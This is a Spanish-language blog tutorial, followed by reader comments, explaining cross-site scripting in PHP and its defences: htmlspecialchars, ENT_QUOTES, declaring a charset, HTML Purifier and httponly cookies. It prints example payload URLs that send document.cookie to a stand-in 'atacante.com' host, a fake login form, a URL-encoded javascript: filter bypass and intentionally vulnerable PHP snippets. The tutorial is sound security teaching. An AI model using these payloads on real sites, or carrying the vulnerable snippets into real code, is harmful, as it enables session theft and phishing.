Cross-Site Scripting

El Cross-Site Scripting, abreviado como XSS, para no confundirlo con las hojas de estilo, es un tipo de vulnerabilidad que puede darse en cualquier aplicación web en la que se muestre en pantalla cualquier tipo de datos sobre los que el usuario tenga influencia directa. Como es de suponer, esto abarca a gran porcentaje de sitios web.

Cross-Site Scripting, el problema

Veamos un pequeño ejemplo. Supongamos que escribimos un sencillo script en PHP que no hace más que mostrar el valor de una variable mensaje pasada por GET. Algo tan sencillo como esto:

<?php
  echo $_GET['mensaje'];
?>

Como no tratamos la entrada del usuario de ninguna forma, dejamos la puerta abierta a que se muestre cualquier tipo de código HTML en nuestra página, incluido, por ejemplo, un formulario de login falso, o un iframe con un formulario falso:

http://localhost/index.php?mensaje=<form action="http://atacante.com/captura.php">Usuario: <input type="text" name="usuario"/><br/>Contraseña: <input type="text" name="pass"/></form>

un script que use document.location para hacer que el usuario ejecute un archivo PHP de la web del atacante, pasándole las cookies:

http://localhost/index.php?mensaje=<script>document.location='http://atacante.com/captura.php?cookies='+document.cookie</script>

o una imagen transparente de 1×1 del servidor del atacante, pasándole a la URL el valor de las cookies, lo cuál sería bastante difícil de detectar, a menos que el usuario se fijara en el código:

http://localhost/mensajes.php?mensaje=<script>document.write("<img widht='0' height='0' src='http://atacante.com/img.png?valores="+document.cookie'>")</script>

El tipo de vulnerabilidad XSS que sufre nuestra pequeña página de ejemplo se conoce como “XSS no persistente”, porque no se modifica la web original. El atacante debe conseguir que un usuario de la web haga clic sobre uno de sus enlaces especialmente formados, por ejemplo, ocultándolo con un acortador de URLs.

Las vulnerabilidades de XSS persistente son mucho más peligrosas. Esta se da cuando se almacenan los datos introducidos por los usuarios, en una base de datos, por ejemplo, y estos, a su vez, se muestran a otros usuarios. Esto sucede, por ejemplo, en blogs y foros con los comentarios y las respuestas de los hilos. En estos casos bastaría con que el usuario visitara la página vulnerable para que se ejecutara el código del atacante.

Cross-Site Scripting, la solución

La solución pasa por filtrar todos los datos que mostremos en la aplicación y que procedan del usuario, no sólo datos introducidos en un formulario o parámetros en la URL, sino también cosas como cabeceras HTTP o cookies. En PHP podemos utilizar para esto la función htmlspecialchars, que convierte los caracteres ", <, > y & a las entidades HTML correspondientes.

En contadas ocasiones también puede interesarnos pasar como segundo parámetro a la función la constante ENT_QUOTES, para sustituir las comillas simples (') además de los caracteres anteriores. En el siguiente código, por ejemplo, al haber utilizado comillas simples para encerrar el valor del atributo, tendríamos que convertir estos caracteres para que el usuario no pudiera salir de este contexto:

<?php
  $aspecto = $_GET['aspecto'];
  echo "<div class='{$aspecto}'>...</div>";
?>

También es importante especificar el juego de caracteres del documento, bien a través de la etiqueta meta, o bien usando la cabecera HTTP correspondiente. De otra forma el atacante podría utilizar texto en UTF-7, que codifica los símbolos < y >, entre otros, con lo que htmlspecialchars no los reemplazaría. Bastaría entonces engañar al navegador para hacerle pensar que UTF-7 es la verdadera codificación del archivo, por ejemplo con un iframe con texto UTF-7, para que se lanzara el ataque.

Por último hay muchos casos en los que htmlspecialchars no nos será de ninguna utilidad, y donde será necesario estar muy atentos y aplicar el sentido común. Un ejemplo son los atributos donde se puede utilizar la directiva javascript:

<?php
  $enlace = $_GET['enlace'];
  // Peligro: index.php?enlace=javascript:alert(document.cookie)
  echo "<a href='{$enlace}'>Enlace</a>";
?>

En estas situaciones tampoco bastaría con filtrar el texto “javascript:” ya que la cadena se puede manipular de distintas formas para burlar el filtrado. Se podría utilizar, por ejemplo, los caracteres de la codificación de URLs, sustituyendo la j por %6A:

http://localhost/pagina.php?enlace=%6Aavascript:alert(document.cookie)

También existen técnicas mucho menos conocidas, como el uso de la etiqueta y el atributo style mediante la propiedad expression de IE, o la palabra reservada url.

Para todos estos casos menos comunes lo mejor es no intentar reinventar la rueda y utilizar una librería especialmente pensada para lidiar con vulnerabilidades de XSS, como HTML Purifier.

Por último, una forma de mitigar hasta cierto punto las posibles vulnerabilidades XSS que podamos haber pasado por alto sería poner la opción session.cookie_httponly a true en php.ini, de forma que al crear las cookies se añada por defecto este flag, que indica a los navegadores que lo soportan que no se debe permitir el acceso a las cookies a través de scripting.

Comentarios
  1. Alexander Garzon

    Buen aporte !
    Resumidamente, pero bien hecho.

    Responder

  2. Jonhy87

    buen articulo como introducción! Gracias!

    Responder

  3. Muy interesante. Había leído algo por el NoScript, pero no lo había entendido bien.

    Responder

  4. Muy útil la información.
    “Corta pero sustanciosa” XD

    Gracias

    Responder

  5. “session.cookie_httponly”
    No conocía este método; tengo que estudiarme un poco el “php.ini” 😛

    Muy buen artículo, si señor.

    Responder

  6. hay muchos sitios con vulnerabilidades XSS..
    por favor, es sólo un pedacito de código!!!

    Responder

  7. Hey! cuando lo vi en wikipedia hace tiempo no entendia nada.

    Ahora ya se de que hablas.

    Responder

  8. EgoPL

    XSS no persistente lo hay en prácticamente todas las páginas y en muchos CMS actuales, a pesar de su fácil solución (en la mayoría de los casos)
    Y lo peor es que no se le da mucha importancia a pesar de que con un poco de imaginación y combinándolo con otros ataques se pueden hacer cosas mucho más complejas que un simple stealer de cookies.
    Ahora que me acuerdo tengo que enviar un mail a los de BitWeaver que hace ya bastante tengo unos cuantos XSS en su ultima versión. xD

    Responder

    • ¿Te dedicas a la seguridad o es por afición?

      Responder

      • EgoPL

        Tengo 15 años, por lo tanto es afición xD

        Responder

        • ¿Por ahora? 😉

          Responder

          • EgoPL

            Desde luego, me gustaría sacarme un PhD. en Ingeniería Informática y dedicarme a ella aunque aun no sé a qué rama en concreto.
            Pero bueno, aun quedan años y primero tengo que sacar la ESO xDDDDD

    • para sacarse un doctorado primero hay que sacarse una ingenieria/carrera afin.. maestria.. años de experiencia y trabajos de ascenso y hacer muchas invesgigaciones asi que pensa primero en sacarte el bachillerato jajaja sin mala onda =)

      Responder

      • EgoPL

        Claro, bachiller, carrera, master y PhD.
        Por eso dije que quedan muchos años, pero desde luego es lo que pienso hacer.
        ¿Tú cómo vas en la Uni? Debes de llevar ya 2 o 3 años..

        Responder

  9. […] Shared Cross-Site Scripting. […]

    Responder

  10. […] Fuente: Cross-Site Scripting […]

    Responder

  11. tambien se podria pasar la variable por htmlentities()..
    muchas cosas se pueden hacer con xss , de atacar al webmaster o a los visitantes..
    tambien ahi bastante info de como se puede “bypassear…
    me encantan estos temas 😎 jaja

    saludos

    Responder

    • También. Aunque el rendimiento será ligeramente menor, al tener que sustituir más caracteres.

      Responder

  12. Encontre un articulo donde detallan los ataques a los que hay que tener cuidado al programar con php, creo que es bueno mirarlo.

    Responder

    • Gracias por el enlace Angelverde. Habrá que echarle un vistazo 🙂

      Responder

  13. […] hablamos hace un tiempo del Cross-Site Scripting o XSS, una de las múltiples vulnerabilidades con las que nos podemos encontrar a la hora de […]

    Responder

  14. Anónimo

    alert(‘hola’);

    Responder

  15. Nalu

    necesito entregar un trabajo de xss, alguin puede ser un poco mas extenso en la explicacion

    Responder

  16. Nalu

    un ejemplo necesitaria de un xss
    muchas gracias

    Responder

  17. Anónimo
  18. Anónimo
  19. “/>alert(“Hola Perro”); “

    Responder

  20. Exelente me ayudo a aclarar mis dudas de los XSS.

    Responder

  21. Gracias! un buen articulo! me aydo mucho!! Totalmente agradecido con este blog!

    Responder

Deja un comentario